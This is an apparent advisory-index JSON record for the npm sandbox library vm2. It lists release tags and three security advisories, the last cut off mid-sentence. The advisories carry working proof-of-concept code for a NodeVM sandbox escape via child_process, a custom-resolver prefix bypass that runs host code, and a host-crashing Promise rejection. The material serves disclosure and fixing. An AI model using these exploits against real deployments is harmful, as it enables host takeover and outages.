at":"2022-02-16T12:38:27.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.8","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.8/manifests"},{"name":"3.9.7","sha":"45417947ea8ab71acfe6e1385395128a59c20835","kind":"commit","published_at":"2022-02-10T15:16:38.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.7","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.7/manifests"},{"name":"3.9.6","sha":"532120d5cdec7da8225fc6242e154ebabc63fe4d","kind":"commit","published_at":"2022-02-08T13:26:00.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.6","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.6/manifests"},{"name":"3.9.5","sha":"05e5e65681ba4b56c911e3dfe8437057c68d8877","kind":"commit","published_at":"2021-10-17T17:53:55.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.5","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.5/manifests"},{"name":"3.9.4","sha":"1eabc2ae3f79b629f8680cec87336e3cd5aded3c","kind":"commit","published_at":"2021-10-12T17:15:27.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.4","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.4/manifests"},{"name":"3.9.3","sha":"a4c5b17dd35a6b99b22b448e3dde5e39b8ff67df","kind":"commit","published_at":"2021-04-05T20:52:06.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.3","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.3/manifests"},{"name":"v3.9.0","sha":"5a5cf0b76b3d1b81dce9f068bf1c1af0405db8f1","kind":"tag","published_at":"2020-08-06T18:25:18.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.9.0","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.9.0/manifests"},{"name":"v3.9.1","sha":"a2cd962fc06acc95ffe8d89a26d5e54aba10a2ea","kind":"tag","published_at":"2020-08-06T18:24:49.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.9.1","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.9.1/manifests"},{"name":"v3.9.2","sha":"0bc2a4f6110d96f74e91315b790c0900ff43edab","kind":"tag","published_at":"2020-08-06T18:18:01.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.9.2","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.9.2/manifests"}]},"repo_metadata_updated_at":"2026-10-14T07:25:28.922Z","dependent_packages_count":973,"downloads":5005017,"downloads_period":"last-month","dependent_repos_count":52172,"rankings":{"downloads":0.06777872319449525,"dependent_repos_count":0.1317483941764073,"dependent_packages_count":0.06940637939297147,"stargazers_count":1.4934845601749027,"forks_count":2.038354896653757,"docker_downloads_count":0.05551133445102876,"average":0.6427140480072604},"purl":"pkg:npm/vm2","advisories":[{"uuid":"GSA_kwCzR0hTQS1wcTY4LXJ2dzQteHA0cs4AB79O","url":"https://github.com/advisories/GHSA-pq68-rvw4-xp4r","title":"vm2 contains a sandbox escape vulnerability","description":"vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.\n\nThis fork hardens `NodeVM` with a `DANGEROUS_BUILTINS` denylist that blocks host‑code‑reaching core modules **even when the sandbox requests `builtin:['*']` or names them explicitly** — the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It **omits `child_process`** — the single most direct command‑execution primitive. As a result, a sandbox running under `require:{builtin:['*']}` (or the fork's own documented `['*','-http','-net',…]` subtract pattern) can `require('child_process').execSync(...)` and execute arbitrary commands on the host. The omission is internally inconsistent: `cluster` is denied with the explicit rationale \"`cluster.fork()` spawns a host child process running attacker‑controlled code,\" yet `child_process` — which spawns host processes more directly — is not.\n\n### Details\n`lib/builtin.js`:\n- `DANGEROUS_BUILTINS` (lines **83‑179**) — the Set of denied builtins. `child_process` does not appear anywhere in it.\n- `isDangerousBuiltin(key)` (lines **185‑195**) — strips `node:` prefixes and applies family‑prefix matching against `DANGEROUS_BUILTINS`. Returns `false` for `child_process`.\n- `BUILTIN_MODULES` (lines **209‑210**) — the source list that the `'*'` wildcard expands to — is `builtinModules.filter(s =\u003e !s.startsWith('internal/') \u0026\u0026 !s.startsWith('_') \u0026\u0026 !isDangerousBuiltin(s))`. Because `isDangerousBuiltin('child_process')` is `false`, `child_process` **remains in `'*'`**.\n- `addDefaultBuiltin` (the explicit‑name path) likewise rejects only `isDangerousBuiltin` names, so `builtin:['child_process']` is admitted as well.\n\nThe module returned is the **real host `child_process`** (default `require.context` is `\"host\"`), so `execSync`/`exec`/`spawn`/`fork` run with full host authority. The denylist's own comment (lines 42‑44) states these primitives \"must NEVER be reachable from the sandbox, even when the user requests `'*'` or explicitly names them\" — the invariant `child_process` violates.\n\n### PoC\n```js\nconst { NodeVM } = require('vm2');\n\nconst r = new NodeVM({ require: { builtin: ['*'] } }).run(`\n  module.exports = require('child_process').execSync('id').toString();\n`, 'plugin.js');\n\nconsole.log(r);   // -\u003e \"uid=1000(user) gid=1000(user) groups=...\"   host command execution\n```\nVerified results:\n| config | `require('child_process')` |\n|---|---|\n| `{ builtin: ['*'] }` | **RCE** — host `id` + host env read |\n| `{ builtin: ['*', '-fs'] }` (documented subtract pattern) | **RCE** — subtracting other modules does not remove it |\n| `{ builtin: ['child_process'] }` | **RCE** — explicit name admitted despite the \"never, even if named\" invariant |\n| `{ builtin: ['fs'] }` (control) | denied — `Cannot find module 'child_process'` |\n\n\n### Impact\nFull host RCE — a complete `NodeVM` sandbox escape — for any deployment that runs untrusted code under `require:{builtin:['*']}` or the documented `['*', '-x', …]` subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows `child_process` believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single `require('child_process')`.\n\n\n### builtin-child_process-denylist-gap-rce.js\n```js\n'use strict';\n// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.\n// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins\n// even under `builtin:['*']` or explicit naming — module, worker_threads,\n// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT\n// child_process. So `require:{builtin:['*']}` (an allow-all config the fork\n// explicitly hardens) yields direct host RCE. Attacker controls only the\n// sandboxed script.\nconst path = require('path');\nconst { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));\n\nprocess.env.HOST_ONLY_SECRET = 'CANARY123';   // host-only; sandbox process stub has env:{}\n\nfunction tryConfig(label, opts) {\n  try {\n    const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() =\u003e {\n      try {\n        const cp = require('child_process');\n        return {\n          reached: true,\n          id: cp.execSync('id').toString().trim(),\n          hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()\n        };\n      } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }\n    })()`, 'plugin.js');\n    console.log(label, '=\u003e', JSON.stringify(r));\n    return r;\n  } catch (e) { console.log(label, '=\u003e THREW:', e.message.slice(0, 60)); return null; }\n}\n\nconsole.log('--- child_process reachability by NodeVM require config ---');\nconst a = tryConfig(\"require:{builtin:['*']}        \", { require: { builtin: ['*'] } });\nconst b = tryConfig(\"require:{builtin:['*','-fs']}  \", { require: { builtin: ['*', '-fs'] } });   // documented subtract pattern\nconst c = tryConfig(\"require:{builtin:['fs']} (ctl) \", { require: { builtin: ['fs'] } });          // control: not allowed -\u003e denied\n\nconst ok = a \u0026\u0026 a.reached \u0026\u0026 /uid=/.test(a.id) \u0026\u0026 a.hostSecret === 'CANARY123'\n        \u0026\u0026 b \u0026\u0026 b.reached\n        \u0026\u0026 c \u0026\u0026 c.reached === false;\nconsole.log(ok\n  ? \"\\n\u003e\u003e\u003e CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed\"\n  : \"\\n\u003e\u003e\u003e NOT confirmed\");\nprocess.exit(ok ? 42 : 1);\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-07T18:05:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-pq68-rvw4-xp4r","https://nvd.nist.gov/vuln/detail/CVE-2026-93605","https://www.vulncheck.com/advisories/vm2-nodevm-before-3.12.1-remote-code-execution-via-child-process","https://github.com/advisories/GHSA-pq68-rvw4-xp4r"],"source_kind":"github","identifiers":["GHSA-pq68-rvw4-xp4r","CVE-2026-93605"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-07T19:00:09.960Z","updated_at":"2026-10-12T08:00:27.716Z","epss_percentage":0.00726,"epss_percentile":0.52516,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcTY4LXJ2dzQteHA0cs4AB79O","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcTY4LXJ2dzQteHA0cs4AB79O","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.12.1","vulnerable_version_range":"\u003c= 3.12.0"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcTY4LXJ2dzQteHA0cs4AB79O/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01aDNmLXE5N2gtY2N2Y84AB7qZ","url":"https://github.com/advisories/GHSA-5h3f-q97h-ccvc","title":"vm2: NodeVM custom resolution bypasses external path boundaries","description":"## Summary\n\nAt source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^\u003cpath\u003e` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.\n\n## Technical Details\n\nThe affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.\n\nThe source-to-sink path is:\n\n- `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.\n- `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.\n- `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.\n- `isPathAllowedForModule` falls back to `this.externals.some(regex =\u003e regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.\n- `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.\n\nThe relevant current code has the same flaw for both supported custom-resolver return shapes:\n\n```js\nif (typeof resolved === 'string') {\n\tthis.externals.push(new RegExp('^' + escapeRegExp(resolved)));\n\treturn this.loadAsFileOrDirectory(resolved, extList);\n}\nconst {module=x, path: resolvedPath} = resolved;\nthis.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));\nreturn this.loadNodeModules(module, [resolvedPath], extList);\n```\n\nThe existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.\n\n## PoV\n\nThe minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:\n\n```js\nconst foo = require('foo');\nmodule.exports = {\n\tfoo,\n\tsibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')\n};\n```\n\nThe corresponding embedder configuration is:\n\n```js\nconst vm = new NodeVM({\n\trequire: {\n\t\texternal: {modules: ['foo'], transitive: false},\n\t\troot: '/tmp/vm2-prefix-case',\n\t\tcontext: 'host',\n\t\tresolve(name) {\n\t\t\treturn name === 'foo'\n\t\t\t\t? '/tmp/vm2-prefix-case/node_modules/foo'\n\t\t\t\t: undefined;\n\t\t}\n\t}\n});\n```\n\nThe sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.\n\n## PoC\n\nFrom a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:\n\n```sh\ngit checkout 91034466bfb7f56b95fd48083ec6ca36d058f164\nnpm ci --ignore-scripts\n```\n\nSave the following harness as `/tmp/custom-resolve-prefix.js`:\n\n```js\n'use strict';\n\nconst path = require('path');\nconst { NodeVM } = require(process.cwd() + '/lib/main.js');\n\nconst [, , mode, fooIndexPath, siblingPath] = process.argv;\nconst fooDir = path.dirname(fooIndexPath);\nconst root = path.resolve(fooDir, '../..');\nconst entry = path.join(path.dirname(root), 'entry.js');\nlet customCalls = 0;\n\nfunction runGuest(code) {\n\treturn new NodeVM({\n\t\trequire: {\n\t\t\texternal: {modules: ['foo'], transitive: false},\n\t\t\troot,\n\t\t\tcontext: 'host',\n\t\t\tresolve(moduleName) {\n\t\t\t\tif (moduleName === 'foo') {\n\t\t\t\t\tcustomCalls++;\n\t\t\t\t\treturn fooDir;\n\t\t\t\t}\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t}\n\t}).run(code, entry);\n}\n\nconst record = {mode, result: 'invalid'};\n\ntry {\n\tif (mode === 'candidate') {\n\t\tconst output = runGuest(`\n\t\t\tconst foo = require('foo');\n\t\t\tmodule.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};\n\t\t`);\n\t\trecord.output = output;\n\t\tif (output \u0026\u0026 output.foo === 'FOO_OK' \u0026\u0026 output.sibling === 'PREFIX_PWN') {\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';\n\t\t} else {\n\t\t\trecord.result = 'pass';\n\t\t}\n\t} else if (mode === 'control') {\n\t\ttry {\n\t\t\trunGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling loaded before custom resolution';\n\t\t} catch (error) {\n\t\t\trecord.result = 'pass';\n\t\t\trecord.denial = String(error \u0026\u0026 (error.code || error.message) || error);\n\t\t}\n\t} else {\n\t\trecord.error = 'unknown mode';\n\t}\n} catch (error) {\n\trecord.result = 'invalid';\n\trecord.error = String(error \u0026\u0026 (error.stack || error.message) || error);\n}\n\nrecord.customCalls = customCalls;\nconsole.log(JSON.stringify(record));\n```\n\nCreate the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:\n\n```sh\nmkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2\ncat \u003e /tmp/vm2-prefix-case/node_modules/foo/index.js \u003c\u003c'EOF'\n'use strict';\nmodule.exports = 'FOO_OK';\nEOF\ncat \u003e /tmp/vm2-prefix-case/node_modules/foo2/index.js \u003c\u003c'EOF'\n'use strict';\nmodule.exports = require('child_process').execFileSync(\n\tprocess.execPath,\n\t['-e', \"process.stdout.write('PREFIX_PWN')\"]\n).toString();\nEOF\n```\n\nRun the attack and then the negative control from the repository checkout:\n\n```sh\nnode /tmp/custom-resolve-prefix.js candidate \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\nnode /tmp/custom-resolve-prefix.js control \\\n  /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n  /tmp/vm2-prefix-case/node_modules/foo2/index.js\n```\n\nThe decisive results were:\n\n```text\n{\"mode\":\"candidate\",\"result\":\"violation\",\"output\":{\"foo\":\"FOO_OK\",\"sibling\":\"PREFIX_PWN\"},\"signal\":\"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\",\"customCalls\":1}\n{\"mode\":\"control\",\"result\":\"pass\",\"denial\":\"ENOTFOUND\",\"customCalls\":0}\n```\n\nBoth executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.\n\n## Impact\n\nThis is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.\n\n## Suggested Fix\n\nMake every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:\n\n```js\nconst externalPath = value =\u003e new RegExp(\n\t'^' + escapeRegExp(value) + '(?:[\\\\/].*)?$'\n);\n```\n\nUse `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.\n\nAdd regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.\n\n## Affected Package/Versions\n\n- Package: `vm2` in the npm ecosystem.\n- Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.\n- Patched versions: none identified by the tested evidence.\n- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.\n\n## Advisory History\n\nThe closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.\n\n[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T23:24:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc","https://nvd.nist.gov/vuln/detail/CVE-2026-100721","https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72","https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164","https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c","https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f","https://github.com/patriksimek/vm2/releases/tag/v3.12.2","https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver","https://github.com/advisories/GHSA-5h3f-q97h-ccvc"],"source_kind":"github","identifiers":["GHSA-5h3f-q97h-ccvc","CVE-2026-100721"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T00:00:16.074Z","updated_at":"2026-10-16T06:00:36.469Z","epss_percentage":0.004,"epss_percentile":0.3255,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01aDNmLXE5N2gtY2N2Y84AB7qZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01aDNmLXE5N2gtY2N2Y84AB7qZ","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.12.2","vulnerable_version_range":"\u003c= 3.12.1"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01aDNmLXE5N2gtY2N2Y84AB7qZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ydjJwLTZqOTctY2pnOc4AB7qY","url":"https://github.com/advisories/GHSA-2v2p-6j97-cjg9","title":"vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process","description":"## Summary\n\nAn untrusted script run by `VM.run` can construct an embedder-exposed host function that returns a rejected native Promise and ignore the result. The sandbox-to-host `construct` trap forwards that Promise without applying the host-side rejection handling already used by the neighboring `apply` trap, so Node's strict unhandled-rejection policy terminates the host process.\n\n## Technical Details\n\nThe precondition is an application-supplied constructable host function in the VM sandbox whose constructor body returns a native rejected Promise. In JavaScript, an object explicitly returned by a constructor replaces the newly allocated instance, so `new HostReject()` produces that Promise.\n\n`VM.run` executes the attacker-controlled source. For an ordinary host-function call, `BaseHandler.apply` invokes the host function, calls `markHostPromiseHandled(ret)`, and then wraps the result. The adjacent `BaseHandler.construct` path instead calls `Reflect.construct` and returns `thisFromOtherWithFactory(...)` without calling the same sanitizer. The rejected host Promise therefore crosses the bridge still unhandled. With Node's strict unhandled-rejection behavior, the rejection is promoted to an uncaught exception and kills the host process.\n\nThe shortest path is `VM.run` → the sandbox bridge → `BaseHandler.construct`. The control changes only the guest expression: it attaches `.catch(function () {})` to the constructed Promise before ignoring it. The host function, VM configuration, rejection, and Node policy remain the same, and the control process survives.\n\nThis is unintended because the repository's GHSA-gjq8 hardening explicitly marks host Promises handled at the apply boundary, while no equivalent handling exists in the adjacent construct return path. The construct path is a distinct boundary and fix surface, not a second invocation of the already-fixed apply path.\n\n## PoV\n\nSave the following as `construct-promise-poc.js`:\n\n```js\n'use strict';\n\nconst { VM } = require(process.cwd() + '/lib/main.js');\n\nfunction HostReject() {\n  return Promise.reject(new Error('constructed-host-boom'));\n}\n\nconst mode = process.argv[2];\nconst vm = new VM({ sandbox: { HostReject } });\n\nif (mode === 'vulnerable') {\n  console.log('VULNERABLE_STARTED');\n  vm.run('new HostReject(); 1');\n  setTimeout(() =\u003e console.log('ALIVE'), 300);\n} else if (mode === 'control') {\n  vm.run('new HostReject().catch(function () {}); 1');\n  setTimeout(() =\u003e console.log('CONTROL_ALIVE'), 300);\n} else {\n  throw new Error('usage: node construct-promise-poc.js vulnerable|control');\n}\n```\n\n## PoC\n\nCheck out vm2 revision `91034466bfb7f56b95fd48083ec6ca36d058f164`, install its declared dependencies with `npm ci --ignore-scripts`, and save `construct-promise-poc.js` in that checkout's module root (the directory containing `package.json` and `lib/`). Run the script and both commands below from that same module-root directory. The script resolves `lib/main.js` from the current directory, so the test uses the checked-out vm2 source.\n\nTested with vm2 `3.11.8` at that revision on Node.js `v26.8.1`, with `NODE_OPTIONS=--unhandled-rejections=strict`. The abort flag makes the process crash signal explicit:\n\n```text\nNODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js vulnerable\n```\n\nAbridged vulnerable output:\n\n```text\nVULNERABLE_STARTED\nError: constructed-host-boom\n    at VM2 Wrapper.construct (.../lib/bridge.js:2340:11)\n    at VM.run (.../lib/vm.js:613:16)\n```\n\nThe process exits before printing `ALIVE` (exit status 139 in the tested execution). The stack paths are environment-dependent; the `construct` and `VM.run` frames identify the relevant target functions.\n\nThe otherwise identical control is:\n\n```text\nNODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js control\n```\n\nControl output:\n\n```text\nCONTROL_ALIVE\n```\n\nThe control exits successfully. The crash is a process-level availability failure, not a guest exception caught and returned by `VM.run`.\n\n## Impact\n\nAn attacker who can submit JavaScript to a VM and who receives a constructable Promise-returning host API can terminate the Node.js process hosting the sandbox with one expression. This can take down a plugin worker, notebook 